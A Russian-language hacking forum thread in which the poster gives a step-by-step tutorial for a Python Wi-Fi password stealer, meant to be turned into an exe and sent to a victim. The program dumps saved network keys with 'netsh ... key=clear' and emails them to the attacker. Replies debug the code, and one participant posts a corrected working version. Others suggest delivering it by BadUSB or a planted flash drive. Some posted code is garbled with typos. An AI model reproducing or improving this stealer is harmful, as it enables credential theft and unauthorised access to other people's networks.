Интересно Написание стиллера паролей от wifi

Anorali

Original poster
Pro Member
Сообщения
99
Реакции
156
Посетить сайт
perekhvat-i-analiz-wifi-trafika-02.jpg
Всем привет)
Захотел написать статью о создании стиллера, ну так вот...

Не знаю, можно ли называть эту прогу стиллером или нет, но суть скрипта заключается в том, что он ворует чужой пароль от wifi.

Работать это будет так:

1) засылаем эту прогу жертве
2) прога пиздит пароли от всех wifi сетей, когда либо подключённых к этому устройству
3) отправляет эти пароли к нам на почту

Использовать будем python, потому что он удобен, понятен и в других ЯП я не очень разбираюсь)

Для начала импортируем нужные библиотеки:

Python:
import subprocess # для управления системой
import smtplib # для отправки сообщения на почту

Теперь, напишем функцию, отправляющую отчёт нам на электронный ящик:

Python:
def send_mail(email, password, message): # назовём её "отправка сообщения" и передадим в неё три параметра
    server = smtplib.SMTP("smtplib.gmail.com", 587) # приказ подключиться к smtp гугловской почты по 587 порту
    server.starttls() # запуск
    server.login(email, password) # авторизация. 1ый параметр - ваш адрес, 2ой - пароль от вашего адреса электронной почты, с это почты и будет отправлено письмо
    server.sendmail(email, email, message) # отправка сообщения. 1ый параметр - с какого адреса будет отправлено письмо(указывайте тот, с которого проводили авторизацию), 2ой параметр - адрес на который придёт письмо и 3ий параметр - переменная с содержимым сообщения
    server.quit() # закрытие соединения

Затем создадим переменную с командой, позволяющая просмотреть все wifi сети, когда либо подключённых к этому устройству

Python:
command = "netsh wlan show profile"

С помощью subprocess выполним эту команду и запишем результат в переменную "сети"

Python:
networks = subprocess.check_output(command, shell=True)

Но помимо названия сетей, мы можем наблюдать и другие слова, они нам не нужны, их мы уберём с помощью библиотеки "re"

Python:
import re
network_names_list = re.findall("(?:Profile\s*:\s)(.*)", networks)

Дальше мы сделаем перебор нашего списка с именами сетей и получим пароли от каждой из них, которые в последствии запишем в переменную "результат" и отправим нам на почту

Python:
for network_name in network_names_list:
    command = "netsh wlan show profile " + network_name + "key=clear" # команда
    current_result = subprocess.check.output(command, shell=True) # выполнение команды и её запись в переменную "текущий результат"
    result = result + current_result # затем создаётся переменная "результат", которая записывает в себя предыдущий результат команды и текущий

И отправка на почту

Python:
send.mail("my_email", "my_password", result) # 1ый параметр - с какого адреса будет отправлено письмо(указывайте тот, с которого проводили авторизацию), 2ой параметр - адрес на который придёт письмо(указывайте свой адрес) и 3ий параметр - результат выполнения нашей программы.

Теперь чистый код

Python:
import subprocess
import smtplib
import re

def send_mail(email, password, message):
    server = smtplib.SMTP("smtplib.gmail.com", 587)
    server.starttls()
    server.login(email, password)
    server.sendmail(email, email, message)
    server.quit()

command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True)
network_names_list = re.findall("(?:Profile\s*:\s)(.*)", networks)

for network_name in network_names_list:
    command = "netsh wlan show profile " + network_name + "key=clear"
    current_result = subprocess.check.output(command, shell=True)
    result = rsult + current_result

send.mail("my_email", "my_password", result)

На этом всё) Скрипт получился довольно лёгкий и маленький, вам остаётся превратить его в exe и закинуть другу)
Всем пока!
 
Последнее редактирование модератором:

CMDfromBAT

"Рыбак" со стажем
Moderator
Сообщения
303
Реакции
602
Посетить сайт
Всем привет)
Захотел написать статью о создании стиллера, ну так вот...

Не знаю, можно ли называть эту прогу стиллером или нет, но суть скрипта заключается в том, что он ворует чужой пароль от wifi.

Работать это будет так:

1) засылаем эту прогу жертве
2) прога пиздит пароли от всех wifi сетей, когда либо подключённых к этому устройству
3) отправляет эти пароли к нам на почту

Использовать будем python, потому что он удобен, понятен и в других ЯП я не очень разбираюсь)

Для начала импортируем нужные библиотеки:

Python:
import subprocess # для управления системой
import smtplib # для отправки сообщения на почту

Теперь, напишем функцию, отправляющую отчёт нам на электронный ящик:

Python:
def send_mail(email, password, message): # назовём её "отправка сообщения" и передадим в неё три параметра
    server = smtplib.SMTP("smtplib.gmail.com", 587) # приказ подключиться к smtp гугловской почты по 587 порту
    server.starttls() # запуск
    server.login(email, password) # авторизация. 1ый параметр - ваш адрес, 2ой - пароль от вашего адреса электронной почты, с это почты и будет отправлено письмо
    server.sendmail(email, email, message) # отправка сообщения. 1ый параметр - с какого адреса будет отправлено письмо(указывайте тот, с которого проводили авторизацию), 2ой параметр - адрес на который придёт письмо и 3ий параметр - переменная с содержимым сообщения
    server.quit() # закрытие соединения

Затем создадим переменную с командой, позволяющая просмотреть все wifi сети, когда либо подключённых к этому устройству

Python:
command = "netsh wlan show profile"

С помощью subprocess выполним эту команду и запишем результат в переменную "сети"

Python:
networks = subprocess.check_output(command, shell=True)

Но помимо названия сетей, мы можем наблюдать и другие слова, они нам не нужны, их мы уберём с помощью библиотеки "re"

Python:
import re
network_names_list = re.findall("(?:Profile\s*:\s)(.*)", networks)

Дальше мы сделаем перебор нашего списка с именами сетей и получим пароли от каждой из них, которые в последствии запишем в переменную "результат" и отправим нам на почту

Python:
for network_name in network_names_list:
    command = "netsh wlan show profile " + network_name + "key=clear" # команда
    current_result = subprocess.check.output(command, shell=True) # выполнение команды и её запись в переменную "текущий результат"
    result = result + current_result # затем создаётся переменная "результат", которая записывает в себя предыдущий результат команды и текущий

И отправка на почту

Python:
send.mail("my_email", "my_password", result) # 1ый параметр - с какого адреса будет отправлено письмо(указывайте тот, с которого проводили авторизацию), 2ой параметр - адрес на который придёт письмо(указывайте свой адрес) и 3ий параметр - результат выполнения нашей программы.

Теперь чистый код

Python:
import subprocess
import smtplib
import re

def send_mail(email, password, message):
    server = smtplib.SMTP("smtplib.gmail.com", 587)
    server.starttls()
    server.login(email, password)
    server.sendmail(email, email, message)
    server.quit()

command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True)
network_names_list = re.findall("(?:Profile\s*:\s)(.*)", networks)

for network_name in network_names_list:
    command = "netsh wlan show profile " + network_name + "key=clear"
    current_result = subprocess.check.output(command, shell=True)
    result = rsult + current_result

send.mail("my_email", "my_password", result)

На этом всё) Скрипт получился довольно лёгкий и маленький, вам остаётся превратить его в exe и закинуть другу)
Всем пока!
Как я сам до этого не додумался?
Очень полезно, учитывая что часто приходится физически работать с жертвой)
 
  • Like
Реакции: RomaDroID и Anorali

Albex

Member
Сообщения
33
Реакции
24
Посетить сайт
Ну это надо по соседству с жертвой жить. WiFi, а также многие другие пароли (из браузеров и т.д.) ворует тестирует хорошо, например, lazagne. Тоже на python написана. Но самому написать всегда приятно.
 
Последнее редактирование:

pavelpers123

Member
Сообщения
5
Реакции
6
Посетить сайт
привет, я в хакерстве на питон не оч шарю \: , я получил вот эту ошибку когда запускал код

File *путь к файлу*, line 48, in <module>
network_names_list = re.findall("(?:Рrofile\s*:\s)(.*)", networks)
File *путь к файлу*, line 239, in findall
return _compile(pattern, flags).findall(string)
TypeError: cannot use a string pattern on a bytes-like object

люди помогите плиз
 

Anorali

Original poster
Pro Member
Сообщения
99
Реакции
156
Посетить сайт
привет, я в хакерстве на питон не оч шарю \: , я получил вот эту ошибку когда запускал код

File *путь к файлу*, line 48, in <module>
network_names_list = re.findall("(?:Рrofile\s*:\s)(.*)", networks)
File *путь к файлу*, line 239, in findall
return _compile(pattern, flags).findall(string)
TypeError: cannot use a string pattern on a bytes-like object

люди помогите плиз

чекни личку
 

Anorali

Original poster
Pro Member
Сообщения
99
Реакции
156
Посетить сайт
Что-то мне захотелось сверить свой код и свою статью и что же я заметил, а то, что кое-что пропустил -
когда мы создаём перебор паролей нам надо где-то сохранять первый результат, дабы в дальнейшем добавить и второй, и поэтому я создал переменную result, вот только создать её надо за пределами перебора и указать как пустую строку

Python:
result = " "
for network_name in network_names_list:
    command = "netsh wlan show profile " + network_name + "key=clear"
    current_result = subprocess.check.output(command, shell=True)
    result = rsult + current_result
 
  • Like
Реакции: CMDfromBAT

Anorali

Original poster
Pro Member
Сообщения
99
Реакции
156
Посетить сайт
Что-то мне захотелось сверить свой код и свою статью и что же я заметил, а то, что кое-что пропустил -
когда мы создаём перебор паролей нам надо где-то сохранять первый результат, дабы в дальнейшем добавить и второй, и поэтому я создал переменную result, вот только создать её надо за пределами перебора и указать как пустую строку

Python:
result = " "
for network_name in network_names_list:
    command = "netsh wlan show profile " + network_name + "key=clear"
    current_result = subprocess.check.output(command, shell=True)
    result = rsult + current_result

короче внимательней мне свою писанину проверять надо, чтоб таких инцидентов больше не было
 
  • Like
Реакции: CMDfromBAT

Anorali

Original poster
Pro Member
Сообщения
99
Реакции
156
Посетить сайт

pavelpers123

Member
Сообщения
5
Реакции
6
Посетить сайт
и не факт что так легко подсунуть файл жертве соседу и еще заставить его запустить
тема бесполезна
ну можно сделать что бы за тебя все сделала bad usb + есть утилиты которые запускают прогу всем кто подключен к wifi
 

CMDfromBAT

"Рыбак" со стажем
Moderator
Сообщения
303
Реакции
602
Посетить сайт
ну можно сделать что бы за тебя все сделала bad usb + есть утилиты которые запускают прогу всем кто подключен к wifi
Камон, достаточно прост флешку подкинуть и все. Все просто и понятно, дети
 
  • Like
Реакции: User_Undefined и Anorali

pavelpers123

Member
Сообщения
5
Реакции
6
Посетить сайт
я исправил код, теперь все вроде ботает)

Python:
import subprocess
import smtplib
import re

def send_mail(email, password, message):
    server = smtplib.SMTP("smtplib.gmail.com", 587)
    server.starttls()
    server.login(email, password)
    server.sendmail(email, email, message)
    server.quit()

command = "netsh wlan show profiles"
networks = subprocess.check_output(command, shell=True)
networks = networks.decode('ISO-8859-1')
network_names_list = re.findall("(?:Рrofile\s*:\s)(.*)", networks)

result = []
wifiname = []

for network_name in network_names_list:
    command = str ("netsh wlan show profile " + network_name + " key = clear")
    try:
        current_result = subprocess.check_output(command, shell=True)
        current_result = current_result.decode('ISO-8859-1')
        current_result = re.findall("(?:Content\s*:\s)(.*)", current_result)
        wifiname.append(network_name)
        if (str (current_result) == '[]'):
            current_result = "  пароль не обнаружен    "
        result.append(current_result)
    except:
           pass

answer = ""

for i in range(len(wifiname)):
    answer = answer + '\n' + str(wifiname) + '\n'
    answer = answer + str(result)[2:len(str(result)) - 4] + '\n'
send_mail("my_email", "my_password", answer)
 
  • Like
Реакции: Anorali

Anorali

Original poster
Pro Member
Сообщения
99
Реакции
156
Посетить сайт
я исправил код, теперь все вроде ботает)

Python:
import subprocess
import smtplib
import re

def send_mail(email, password, message):
    server = smtplib.SMTP("smtplib.gmail.com", 587)
    server.starttls()
    server.login(email, password)
    server.sendmail(email, email, message)
    server.quit()

command = "netsh wlan show profiles"
networks = subprocess.check_output(command, shell=True)
networks = networks.decode('ISO-8859-1')
network_names_list = re.findall("(?:Рrofile\s*:\s)(.*)", networks)

result = []
wifiname = []

for network_name in network_names_list:
    command = str ("netsh wlan show profile " + network_name + " key = clear")
    try:
        current_result = subprocess.check_output(command, shell=True)
        current_result = current_result.decode('ISO-8859-1')
        current_result = re.findall("(?:Content\s*:\s)(.*)", current_result)
        wifiname.append(network_name)
        if (str (current_result) == '[]'):
            current_result = "  пароль не обнаружен    "
        result.append(current_result)
    except:
           pass

answer = ""

for i in range(len(wifiname)):
    answer = answer + '\n' + str(wifiname) + '\n'
    answer = answer + str(result)[2:len(str(result)) - 4] + '\n'
send_mail("my_email", "my_password", answer)

красава! не поленился, запарился)
 

Anorali

Original poster
Pro Member
Сообщения
99
Реакции
156
Посетить сайт
я исправил код, теперь все вроде ботает)

Python:
import subprocess
import smtplib
import re

def send_mail(email, password, message):
    server = smtplib.SMTP("smtplib.gmail.com", 587)
    server.starttls()
    server.login(email, password)
    server.sendmail(email, email, message)
    server.quit()

command = "netsh wlan show profiles"
networks = subprocess.check_output(command, shell=True)
networks = networks.decode('ISO-8859-1')
network_names_list = re.findall("(?:Рrofile\s*:\s)(.*)", networks)

result = []
wifiname = []

for network_name in network_names_list:
    command = str ("netsh wlan show profile " + network_name + " key = clear")
    try:
        current_result = subprocess.check_output(command, shell=True)
        current_result = current_result.decode('ISO-8859-1')
        current_result = re.findall("(?:Content\s*:\s)(.*)", current_result)
        wifiname.append(network_name)
        if (str (current_result) == '[]'):
            current_result = "  пароль не обнаружен    "
        result.append(current_result)
    except:
           pass

answer = ""

for i in range(len(wifiname)):
    answer = answer + '\n' + str(wifiname) + '\n'
    answer = answer + str(result)[2:len(str(result)) - 4] + '\n'
send_mail("my_email", "my_password", answer)

попробуй вот это:

Python:
import subprocess
import smtplib
import re

def send_mail(email, password, message):
    server = smtplib.SMTP("smtp.gmail.com", 587)
    server.starttls()
    server.login(email, password)
    server.sendmail(email, email, message)
    server.quit()

command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True)
networks = networks.decode('ISO-8859-1')
network_names_list = re.findall("(?:Profile\s*:\s)(.*)", networks)

result = " "
for network_name in network_names_list:
    command = "netsh wlan show profile " + network_name + "key=clear"
    current_result = subprocess.check.output(command, shell=True)
    result = rsult + current_result

send_mail("email", "password", result)
 
  • Like
Реакции: pavelpers123

pavelpers123

Member
Сообщения
5
Реакции
6
Посетить сайт
не работает, но это потому что у меня есть сохраненые пароли от режима модема айфона, и cmd спецально скрывает или он просто не может выводить русские символы и получается имя этого wifi - "Iphone(?????)" поэтому нужно также пропускать когда появляется какая то ошибка.
В 20 строчке
current_result = subprocess.check_output(command, shell=True) (там вместо нижнего подчеркивания точка стоит)

попробуй вот это:

Python:
import subprocess
import smtplib
import re

def send_mail(email, password, message):
    server = smtplib.SMTP("smtp.gmail.com", 587)
    server.starttls()
    server.login(email, password)
    server.sendmail(email, email, message)
    server.quit()

command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True)
networks = networks.decode('ISO-8859-1')
network_names_list = re.findall("(?:Profile\s*:\s)(.*)", networks)

result = " "
for network_name in network_names_list:
    command = "netsh wlan show profile " + network_name + "key=clear"
    current_result = subprocess.check.output(command, shell=True)
    result = rsult + current_result

send_mail("email", "password", result)
 
  • Like
Реакции: Anorali
Название темы
Автор Заголовок Раздел Ответы Дата
АнАлЬнАя ЧуПаКаБрА Написание статей B/C Проекты Private Keeper 0
Y Написание уникального ПО/Формирование ботнет сети/Конкуренция в сети/Програмирование Ищу работу. Предлагаю свои услуги. 0
HARD_RESET Написание проектов Private Keeper на платной/бесплатной основе. Проекты Private Keeper 1
G Написание ПО на заказ! Ищу работу. Предлагаю свои услуги. 6
NickelBlack Логи стиллера ЮС Раздача (аккаунтов/ключей) 0
#~Shinigami~# Интересно Необработанные логи со стиллера Раздача (аккаунтов/ключей) 1
NickelBlack Интересно Раздача логов со стиллера Другое 2
D Логи со стиллера Раздача (аккаунтов/ключей) 2
NickelBlack Логи стиллера. Отработка. Раздача (аккаунтов/ключей) 0
NickelBlack Интересно Обработка ваших логов стиллера Ищу работу. Предлагаю свои услуги. 0
АнАлЬнАя ЧуПаКаБрА MIX Облако со стиллера 2018/2019 Раздача email 6
D Продам Продам логи со стиллера. Все что не подошло по разделу 1
ins1der Исходники стиллера NoFile (пароли, куки, wallet.dat ,телеграмы, скайпы) С/C++ 0
ins1der Исходники стиллера С/C++ 0
1 Раздача игровых логов со стиллера Раздача (аккаунтов/ключей) 1
P Какой хост лучше юзать для стиллера Вопросы и интересы 0
R Способ выпаривания стиллера Полезные статьи 1
ElementPro Проверено Продам логи со стиллера AZORult Аккаунты/Админки/Документы 1
Azaar Раздача логов со стиллера Другое 2
Admin Логи со стиллера Другое 0
T Простенький загрузчик для майнера/стиллера/ратника на C# С/C++ 3
VAVAN Продам исход стиллера (ЯП Delphi) Продажа софта 1
FBI Анализ работы стиллера Spam/DDOS/Malware 4
Sixel Uplay 4k со стиллера Раздача (аккаунтов/ключей) 4
АнАлЬнАя ЧуПаКаБрА All Soft by Mr.Alex [Cracked by PC-RET] + Рабочий исходник стиллера Spam/DDOS/Malware 42
LightMan Интересно Java - Стиллер паролей в Minecraft моде Другие ЯП 7
F Собираю команду для брута паролей. Бруты/Парсеры/Чекеры 0
P Качественный подбор паролей (vk.comOk.ru,WhatsApp.Viber) от [email protected] Взлом сайта, взлом форума - на заказ! Хотите узнать с кем обща Корзина 0
Kot507 Взломщик андроид паролей. Продажа софта 2
E Интересно Ненадёжность хранения паролей TeamViewer Уязвимости и взлом 0
HARD_RESET Пак паролей для расшифровки дампов Другое 6
B AZORult стиллер + HVNC Bot, stealer - Мощный стиллер паролей, CC и криптовалют Корзина 2
John15 Стиллер паролей с отправкой по почте. Вирусология 4
MaFio NordPass - менеджер паролей от NordVPN Полезные статьи 0
A Стиллер паролей для Chrome и Firefox Уязвимости и взлом 0
VipRin1 13 миллиардов почт и паролей пользователей Полезные статьи 11
mrx123 База логинов и паролей Online Уязвимости и взлом 4
Живой_мертвый Генератор паролей C++ С/C++ 0
kdroshev [Pluralsight] Хакинг веб-приложений: взлом функционала по восстановлению паролей Другое 0
T0pDro4eR [Асгард — С первых рук] Самодельный апаратный менеджер паролей Полезные статьи 0
1 Wi-Fi точка для перехвата паролей Kali Linux 4
R 16,5 гб паролей для взлома wifi Kali Linux 2
kdroshev Сборник программ для взлома паролей различных зашифрованных файлов запароленных архивов Другое 1
kdroshev [Pluralsight] Хакинг веб-приложений: взлом функционала по восстановлению паролей Другое 0
Forevonly Seth - MITM атака, перехват RDP паролей. Kali Linux 0
klobald Инструкция по Ettercap: атака человек-посередине (MitM), перехват паролей, обход HSTS, подмена данных на лету ЧАСТЬ 2 Уязвимости и взлом 0
klobald Инструкция по Ettercap: атака человек-посередине (MitM), перехват паролей, обход HSTS, подмена данных на лету ЧАСТЬ 1 Уязвимости и взлом 1
Forevonly Слив более 2 миллионов логинов и паролей от E-mail Раздача email 10
hggug77 Огромная база паролей от аккаунтов социальных сетей. Полезные статьи 3
klobald Использование Burp Suite в сценариях человек-посередине (MitM): сбор информации, перехват паролей, заражение бэкдорами Уязвимости и взлом 0

Название темы